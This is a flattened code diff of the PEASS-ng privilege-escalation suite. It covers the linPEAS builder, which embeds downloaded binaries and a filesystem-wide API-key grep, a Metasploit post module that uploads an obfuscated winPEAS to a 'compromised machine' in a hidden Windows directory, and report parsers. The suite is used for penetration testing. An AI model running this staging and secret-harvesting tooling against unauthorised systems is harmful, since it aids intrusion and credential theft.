wait # Always wait at the end
CONT_THREADS=0 #Reset the threads counter
elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
printf $GREEN"Caching directories "$NC
CONT_THREADS=0 CONT_THREADS=0
# FIND ALL KNOWN INTERESTING SOFTWARE FILES # FIND ALL KNOWN INTERESTING SOFTWARE FILES
@@ -988,7 +1129,9 @@ if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | gre
wait # Always wait at the end wait # Always wait at the end
CONT_THREADS=0 #Reset the threads counter CONT_THREADS=0 #Reset the threads counter
fi
if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
#GENERATE THE STORAGES OF THE FOUND FILES #GENERATE THE STORAGES OF THE FOUND FILES
peass{STORAGES_HERE} peass{STORAGES_HERE}

View File

@@ -9,6 +9,7 @@ from .fileRecord import FileRecord
from .yamlGlobals import ( from .yamlGlobals import (
TEMPORARY_LINPEAS_BASE_PATH, TEMPORARY_LINPEAS_BASE_PATH,
PEAS_FINDS_MARKUP, PEAS_FINDS_MARKUP,
PEAS_FINDS_CUSTOM_MARKUP,
PEAS_STORAGES_MARKUP, PEAS_STORAGES_MARKUP,
PEAS_STORAGES_MARKUP, PEAS_STORAGES_MARKUP,
INT_HIDDEN_FILES_MARKUP, INT_HIDDEN_FILES_MARKUP,
@@ -30,7 +31,10 @@ from .yamlGlobals import (
LES_MARKUP, LES_MARKUP,
LES2_MARKUP, LES2_MARKUP,
REGEXES_LOADED, REGEXES_LOADED,
REGEXES_MARKUP REGEXES_MARKUP,
FAT_LINPEAS_AMICONTAINED_MARKUP,
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP,
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP
) )
@@ -50,8 +54,9 @@ class LinpeasBuilder:
self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "") self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "")
print("[+] Building finds...") print("[+] Building finds...")
find_calls = self.__generate_finds() find_calls, find_custom_calls = self.__generate_finds()
self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ") self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ")
self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ")
print("[+] Building storages...") print("[+] Building storages...")
storage_vars = self.__generate_storages() storage_vars = self.__generate_storages()
@@ -93,6 +98,16 @@ class LinpeasBuilder:
self.__replace_mark(LES_MARKUP, list(les_b64), "") self.__replace_mark(LES_MARKUP, list(les_b64), "")
self.__replace_mark(LES2_MARKUP, list(les2_b64), "") self.__replace_mark(LES2_MARKUP, list(les2_b64), "")
print("[+] Downloading Fat Linpeas binaries...")
aimcont_b64 = self.__get_bin("https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64")
self.__replace_mark(FAT_LINPEAS_AMICONTAINED_MARKUP, list(aimcont_b64), "")
gitleaks_b64 = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_linux_x64.tar.gz", tar_gz="gitleaks")
self.__replace_mark(FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, list(gitleaks_b64), "")
gitleaks_b64_macos = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_darwin_x64.tar.gz", tar_gz="gitleaks")
self.__replace_mark(FAT_LINPEAS_GITLEAKS_MACOS_MARKUP, list(gitleaks_b64_macos), "")
print("[+] Building GTFOBins lists...") print("[+] Building GTFOBins lists...")
suidVB, sudoVB, capsVB = self.__get_gtfobins_lists() suidVB, sudoVB, capsVB = self.__get_gtfobins_lists()
assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}" assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}"
@@ -146,6 +161,11 @@ class LinpeasBuilder:
def __generate_finds(self) -> list: def __generate_finds(self) -> list:
"""Given the regexes to search on each root folder, generate the find command""" """Given the regexes to search on each root folder, generate the find command"""
finds = [] finds = []
finds_custom = []
all_folder_regexes = []
all_file_regexes = []
for type,searches in self.dict_to_search.items(): for type,searches in self.dict_to_search.items():
for r,regexes in searches.items(): for r,regexes in searches.items():
if regexes: if regexes:
@@ -153,25 +173,41 @@ class LinpeasBuilder:
if type == "d": if type == "d":
find_line += "-type d " find_line += "-type d "
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').upper()}" bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_d_vars.add(bash_find_var) self.bash_find_d_vars.add(bash_find_var)
all_folder_regexes += regexes
else: else:
bash_find_var = f"FIND_{r[1:].replace('.','').upper()}" bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_f_vars.add(bash_find_var) self.bash_find_f_vars.add(bash_find_var)
all_file_regexes += regexes
find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"' find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line) find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"{bash_find_var}={find_line}" find_line = f"{bash_find_var}={find_line}"
finds.append(find_line) finds.append(find_line)
return finds # Buid folder and files finds when searching in a custom folder
all_folder_regexes = list(set(all_folder_regexes))
find_line = '$SEARCH_IN_FOLDER -type d -name \\"' + '\\" -o -name \\"'.join(all_folder_regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"FIND_DIR_CUSTOM={find_line}"
finds_custom.append(find_line)
all_file_regexes = list(set(all_file_regexes))
find_line = '$SEARCH_IN_FOLDER -name \\"' + '\\" -o -name \\"'.join(all_file_regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"FIND_CUSTOM={find_line}"
finds_custom.append(find_line)
return finds, finds_custom
def __generate_storages(self) -> list: def __generate_storages(self) -> list:
"""Generate the storages to save the results per entry""" """Generate the storages to save the results per entry"""
storages = [] storages = []
all_f_finds = "$" + "\\n$".join(self.bash_find_f_vars) custom_storages = ["FIND_CUSTOM", "FIND_DIR_CUSTOM"]
all_d_finds = "$" + "\\n$".join(self.bash_find_d_vars) all_f_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + custom_storages)
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars)) all_d_finds = "$" + "\\n$".join(list(self.bash_find_d_vars) + custom_storages)
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages)
for precord in self.ploaded.peasrecords: for precord in self.ploaded.peasrecords:
bash_storage_var = f"PSTORAGE_{precord.bash_name}" bash_storage_var = f"PSTORAGE_{precord.bash_name}"
@@ -239,7 +275,7 @@ class LinpeasBuilder:
analise_line = "" analise_line = ""
if init: if init:
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; ' analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; ' analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
#If just list, just list the file/directory #If just list, just list the file/directory
if frecord.just_list_file: if frecord.just_list_file:
@@ -303,6 +339,19 @@ class LinpeasBuilder:
r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl") r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl")
return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8")) return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8"))
def __get_bin(self, url, tar_gz="") -> str:
os.system(f"wget -q '{url}' -O /tmp/bin_builder")
if tar_gz:
os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder")
os.system("base64 /tmp/bin_builder | tr -d '\n' > /tmp/binb64; rm /tmp/bin_builder")
b64bin = ""
with open("/tmp/binb64", "r") as f:
b64bin = f.read()
os.system("rm /tmp/binb64")
return b64bin
def __get_gtfobins_lists(self) -> tuple: def __get_gtfobins_lists(self) -> tuple:
r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins") r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins")
bins = re.findall(r'/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/([\w_ \-]+).md', r.text) bins = re.findall(r'/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/([\w_ \-]+).md', r.text)
@@ -334,14 +383,24 @@ class LinpeasBuilder:
for entry in values["regexes"]: for entry in values["regexes"]:
name = entry["name"] name = entry["name"]
caseinsensitive = entry.get("caseinsensitive", False)
regex = entry["regex"] regex = entry["regex"]
regex = regex.replace('"', '\\"').strip() regex = regex.replace('"', '\\"').strip()
extra_grep = entry.get("extra_grep") extra_grep = entry.get("extra_grep")
extra_grep = f"| grep {extra_grep}" if extra_grep else "" extra_grep = f"| grep {extra_grep}" if extra_grep else ""
regexes_search_section += f'print_3title "Searching {name} (limited to 50)"\n' regexes_search_section += f'print_3title_no_nl "Searching {name} (limited to 50)..."\n'
# If custom folder to search in
regexes_search_section += 'if [ "$SEARCH_IN_FOLDER" ]; then\n'
regexes_search_section += " timeout 120 find \"$ROOT_FOLDER\" -type f -not -path \"*/node_modules/*\" -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
# If search in all the file system
regexes_search_section += 'else\n'
for path in paths_to_search: for path in paths_to_search:
regexes_search_section += "timeout 120 find "+path+" -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} \"s~"+regex+"~${SED_RED}~\" &\n" grep_flags = "-HnRiIE" if caseinsensitive else "-HnRIE"
regexes_search_section += " timeout 120 find "+path+" -type f -not -path \"*/node_modules/*\" -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
regexes_search_section += 'fi\n'
regexes_search_section += "wait\n" regexes_search_section += "wait\n"
@@ -357,10 +416,16 @@ class LinpeasBuilder:
self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed
def write_linpeas(self, path): def write_linpeas(self, path, rm_startswith=""):
"""Write on disk the final linpeas""" """Write on disk the final linpeas"""
with open(path, "w") as f: with open(path, "w") as f:
if not rm_startswith:
f.write(self.linpeas_sh) f.write(self.linpeas_sh)
else:
tmp_linpeas = ""
for line in self.linpeas_sh.splitlines():
if not line.startswith(rm_startswith):
tmp_linpeas += line + "\n"
f.write(tmp_linpeas)
os.remove(TEMPORARY_LINPEAS_BASE_PATH) #Remove the built linpeas_base.sh file

View File

@@ -15,36 +15,47 @@ LINPEAS_PARTS = [
"name_check": "container", "name_check": "container",
"file_path": LINPEAS_BASE_PARTS + "/2_container.sh" "file_path": LINPEAS_BASE_PARTS + "/2_container.sh"
}, },
{
"name": "Cloud",
"name_check": "cloud",
"file_path": LINPEAS_BASE_PARTS + "/3_cloud.sh"
},
{ {
"name": "Processes, Crons, Timers, Services and Sockets", "name": "Processes, Crons, Timers, Services and Sockets",
"name_check": "procs_crons_timers_srvcs_sockets", "name_check": "procs_crons_timers_srvcs_sockets",
"file_path": LINPEAS_BASE_PARTS + "/3_procs_crons_timers_srvcs_sockets.sh" "file_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets.sh"
}, },
{ {
"name": "Network Information", "name": "Network Information",
"name_check": "network_information", "name_check": "network_information",
"file_path": LINPEAS_BASE_PARTS + "/4_network_information.sh" "file_path": LINPEAS_BASE_PARTS + "/5_network_information.sh"
}, },
{ {
"name": "Users Information", "name": "Users Information",
"name_check": "users_information", "name_check": "users_information",
"file_path": LINPEAS_BASE_PARTS + "/5_users_information.sh" "file_path": LINPEAS_BASE_PARTS + "/6_users_information.sh"
}, },
{ {
"name": "Software Information", "name": "Software Information",
"name_check": "software_information", "name_check": "software_information",
"file_path": LINPEAS_BASE_PARTS + "/6_software_information.sh" "file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
}, },
{ {
"name": "Interesting Files", "name": "Interesting Files",
"name_check": "interesting_files", "name_check": "interesting_files",
"file_path": LINPEAS_BASE_PARTS + "/7_interesting_files.sh" "file_path": LINPEAS_BASE_PARTS + "/8_interesting_files.sh"
},
{
"name": "API Keys Regex",
"name_check": "api_keys_regex",
"file_path": LINPEAS_BASE_PARTS + "/9_api_keys_regex.sh"
} }
] ]
LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh" LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh"
TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh" TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh"
FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh"
FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh" FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh"
YAML_NAME = "sensitive_files.yaml" YAML_NAME = "sensitive_files.yaml"
YAML_REGEXES = "regexes.yaml" YAML_REGEXES = "regexes.yaml"
@@ -68,6 +79,7 @@ assert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS)
PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"] PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"]
PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"] PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"]
PEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED["peas_finds_custom_markup"]
FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"] FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"]
FIND_TEMPLATE = YAML_LOADED["find_template"] FIND_TEMPLATE = YAML_LOADED["find_template"]
@@ -93,3 +105,8 @@ CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"]
LES_MARKUP = YAML_LOADED["les_markup"] LES_MARKUP = YAML_LOADED["les_markup"]
LES2_MARKUP = YAML_LOADED["les2_markup"] LES2_MARKUP = YAML_LOADED["les2_markup"]
FAT_LINPEAS_AMICONTAINED_MARKUP = YAML_LOADED["fat_linpeas_amicontained_markup"]
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_linux_markup"]
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_macos_markup"]

View File

@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Post
)) ))
register_options( register_options(
[ [
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]), OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]),
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]), OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']), OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]), OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),

View File

@@ -1,14 +1,15 @@
# Privilege Escalation Awesome Scripts JSON exporter # Privilege Escalation Awesome Scripts Parsers
This script allows you to transform the output of linpeas/macpeas/winpeas to JSON. These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
```python3 ```python3
python3 peass-parser.py </path/to/executed_peass> </path/to/output_peass.json> python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
``` ```
This script is still in beta version and has been tested only with linpeas output.
## Format ## JSON Format
Basically, **each section has**: Basically, **each section has**:
- Infos (URLs or info about the section) - Infos (URLs or info about the section)
- Text lines (the real text info found in the section, colors included) - Text lines (the real text info found in the section, colors included)
@@ -37,7 +38,7 @@ There is a **maximun of 3 levels of sections**.
} }
], ],
"infos": [ "infos": [
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
] ]
}, },
"infos": [] "infos": []
@@ -64,7 +65,7 @@ There is a **maximun of 3 levels of sections**.
} }
], ],
"infos": [ "infos": [
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
] ]
}, },
"infos": [] "infos": []
@@ -73,6 +74,8 @@ There is a **maximun of 3 levels of sections**.
There can also be a `<Third level Section Name>` There can also be a `<Third level Section Name>`
If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS
# TODO: # TODO:
I'm looking for **someone that could create HTML and PDF reports** from this JSON. - **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**

347
parsers/json2html.py Normal file

File diff suppressed because one or more lines are too long

162
parsers/json2pdf.py Executable file
View File

@@ -0,0 +1,162 @@
#!/usr/bin/env python3
import sys
import json
import html
from reportlab.lib.pagesizes import letter
from reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate
from reportlab.platypus.tableofcontents import TableOfContents
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.lib.units import cm
styles = getSampleStyleSheet()
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
# Required to automatically set Page Numbers
class PageTemplateWithCount(PageTemplate):
def __init__(self, id, frames, **kw):
PageTemplate.__init__(self, id, frames, **kw)
def beforeDrawPage(self, canvas, doc):
page_num = canvas.getPageNumber()
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
# Required to automatically set the Table of Contents
class MyDocTemplate(BaseDocTemplate):
def __init__(self, filename, **kw):
self.allowSplitting = 0
BaseDocTemplate.__init__(self, filename, **kw)
template = PageTemplateWithCount("normal", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')])
self.addPageTemplates(template)
def afterFlowable(self, flowable):
if flowable.__class__.__name__ == "Paragraph":
text = flowable.getPlainText()
style = flowable.style.name
if style == "Heading1":
self.notify("TOCEntry", (0, text, self.page))
if style == "Heading2":
self.notify("TOCEntry", (1, text, self.page))
if style == "Heading3":
self.notify("TOCEntry", (2, text, self.page))
# Poor take at dynamicly generating styles depending on depth(?)
def get_level_styles(level):
global styles
indent_value = 10 * (level - 1);
# Overriding some default stylings
level_styles = {
"title": ParagraphStyle(
**dict(styles[f"Heading{level}"].__dict__,
**{ "leftIndent": indent_value })),
"text": ParagraphStyle(
**dict(styles["Code"].__dict__,
**{ "backColor": "#F0F0F0",
"borderPadding": 5, "borderWidth": 1,
"borderColor": "black", "borderRadius": 5,
"leftIndent": 5 + indent_value})),
"info": ParagraphStyle(
**dict(styles["Italic"].__dict__,
**{ "leftIndent": indent_value })),
}
return level_styles
def get_colors_by_text(colors):
new_colors = {}
for (color, words) in colors.items():
for word in words:
new_colors[html.escape(word)] = color
return new_colors
def build_main_section(section, title, level=1):
styles = get_level_styles(level)
has_links = "infos" in section.keys() and len(section["infos"]) > 0
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
# Only display data for Sections with results
show_section = has_lines or has_children
elements = []
if show_section:
elements.append(Paragraph(title, style=styles["title"]))
# Print info if any
if show_section and has_links:
for info in section["infos"]:
words = info.split()
# Join all lines and encode any links that might be present.
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
words = " ".join(words)
elements.append(Paragraph(words, style=styles["info"] ))
# Print lines if any
if "lines" in section.keys() and len(section["lines"]) > 1:
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
for (idx, line) in enumerate(lines):
colors = colors_by_line[idx]
colored_text = get_colors_by_text(colors)
colored_line = line
for (text, color) in colored_text.items():
if color == "REDYELLOW":
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}"><b>{text}</b></font>')
else:
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}">{text}</font>')
lines[idx] = colored_line
elements.append(Spacer(0, 10))
line = "<br/>".join(lines)
# If it's a top level entry remove the line break caused by an empty "clean_text"
if level == 1: line = line[5:]
elements.append(Paragraph(line, style=styles["text"]))
# Print child sections
if has_children:
for child_title in section["sections"].keys():
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
elements.extend(element_list)
# Add spacing at the end of section. The deeper the level the smaller the spacing.
if show_section:
elements.append(Spacer(1, 40 - (10 * level)))
return elements
def main():
with open(JSON_PATH) as file:
# Read and parse JSON file
data = json.loads(file.read())
# Default pdf values
doc = MyDocTemplate(PDF_PATH)
toc = TableOfContents()
toc.levelStyles = [
ParagraphStyle(name = "Heading1", fontSize = 14, leading=16),
ParagraphStyle(name = "Heading2", fontSize = 12, leading=14, leftIndent = 10),
ParagraphStyle(name = "Heading3", fontSize = 10, leading=12, leftIndent = 20),
]
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
# Iterate over all top level sections and build their elements.
for title in data.keys():
element_list = build_main_section(data[title], title)
elements.extend(element_list)
doc.multiBuild(elements)
# Start execution
if __name__ == "__main__":
try:
JSON_PATH = sys.argv[1]
PDF_PATH = sys.argv[2]
except IndexError as err:
print("Error: Please pass the peas.json file and the path to save the pdf\njson2pdf.py <json_file> <pdf_file.pdf>")
sys.exit(1)
main()

View File

@@ -5,7 +5,7 @@ import re
import json import json
# Pattern to identify main section titles # Pattern to identify main section titles
TITLE1_PATTERN = r"════════════════════════════════════" TITLE1_PATTERN = r"══════════════╣" # The size of the first pattern varies, but at least should be that large
TITLE2_PATTERN = r"╔══════════╣" TITLE2_PATTERN = r"╔══════════╣"
TITLE3_PATTERN = r"══╣" TITLE3_PATTERN = r"══╣"
INFO_PATTERN = r"" INFO_PATTERN = r""
@@ -14,15 +14,15 @@ TITLE_CHARS = ['═', '╔', '╣', '╚']
# Patterns for colors # Patterns for colors
## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) ## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)
COLORS = { COLORS = {
"REDYELLOW": [r"\x1b\[1;31;103m"], "REDYELLOW": ['\x1b[1;31;103m'],
"RED": [r"\x1b\[1;31m"], "RED": ['\x1b[1;31m'],
"GREEN": [r"\x1b\[1;32m"], "GREEN": ['\x1b[1;32m'],
"YELLOW": [r"\x1b\[1;33m"], "YELLOW": ['\x1b[1;33m'],
"BLUE": [r"\x1b\[1;34m"], "BLUE": ['\x1b[1;34m'],
"MAGENTA": [r"\x1b\[1;95m", r"\x1b\[1;35m"], "MAGENTA": ['\x1b[1;95m', '\x1b[1;35m'],
"CYAN": [r"\x1b\[1;36m", r"\x1b\[1;96m"], "CYAN": ['\x1b[1;36m', '\x1b[1;96m'],
"LIGHT_GREY": [r"\x1b\[1;37m"], "LIGHT_GREY": ['\x1b[1;37m'],
"DARKGREY": [r"\x1b\[1;90m"], "DARKGREY": ['\x1b[1;90m'],
} }
@@ -52,11 +52,23 @@ def get_colors(line: str) -> dict:
for c,regexs in COLORS.items(): for c,regexs in COLORS.items():
colors[c] = [] colors[c] = []
for reg in regexs: for reg in regexs:
for re_found in re.findall(reg+"(.+?)\x1b|$", line): split_color = line.split(reg)
re_found = clean_colors(re_found.strip())
# Start from the index 1 as the index 0 isn't colored
if split_color and len(split_color) > 1:
split_color = split_color[1:]
# For each potential color, find the string before any possible color terminatio
for potential_color_str in split_color:
color_str1 = potential_color_str.split('\x1b')[0]
color_str2 = potential_color_str.split("\[0")[0]
color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2
if color_str:
color_str = clean_colors(color_str.strip())
#Avoid having the same color for the same string #Avoid having the same color for the same string
if re_found and not any(re_found in values for values in colors.values()): if color_str and not any(color_str in values for values in colors.values()):
colors[c].append(re_found) colors[c].append(color_str)
if not colors[c]: if not colors[c]:
del colors[c] del colors[c]
@@ -75,10 +87,10 @@ def clean_title(line: str) -> str:
def clean_colors(line: str) -> str: def clean_colors(line: str) -> str:
"""Given a line clean the colors inside of it""" """Given a line clean the colors inside of it"""
for reg in re.findall(r'\x1b[^ ]+\dm', line): for reg in re.findall(r'\x1b\[[^a-zA-Z]+\dm', line):
line = line.replace(reg,"") line = line.replace(reg,"")
line = line.replace('\x1b',"") #Sometimes that byte stays line = line.replace('\x1b',"").replace("[0m", "").replace("[3m", "") #Sometimes that byte stays
line = line.strip() line = line.strip()
return line return line
@@ -94,6 +106,9 @@ def parse_line(line: str):
global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION
if "Cron jobs" in line:
a=1
if is_section(line, TITLE1_PATTERN): if is_section(line, TITLE1_PATTERN):
title = parse_title(line) title = parse_title(line)
FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] } FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] }
@@ -124,13 +139,13 @@ def parse_line(line: str):
C_SECTION["lines"].append({ C_SECTION["lines"].append({
"raw_text": line, "raw_text": line,
"clean_text": clean_colors(line), "colors": get_colors(line),
"colors": get_colors(line) "clean_text": clean_title(clean_colors(line))
}) })
def main(): def main():
for line in open(OUTPUT_PATH, 'r').readlines(): for line in open(OUTPUT_PATH, 'r', encoding="utf8").readlines():
line = line.strip() line = line.strip()
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
continue continue
@@ -147,7 +162,7 @@ if __name__ == "__main__":
OUTPUT_PATH = sys.argv[1] OUTPUT_PATH = sys.argv[1]
JSON_PATH = sys.argv[2] JSON_PATH = sys.argv[2]
except IndexError as err: except IndexError as err:
print("Error: Please pass the peas.out file and the path to save the json\n./peas-parser.py <output_file> <json_file.json>") print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py <output_file> <json_file.json>")
sys.exit(1) sys.exit(1)
main() main()

View File

@@ -2,22 +2,18 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
## Quick Start ## Quick Start
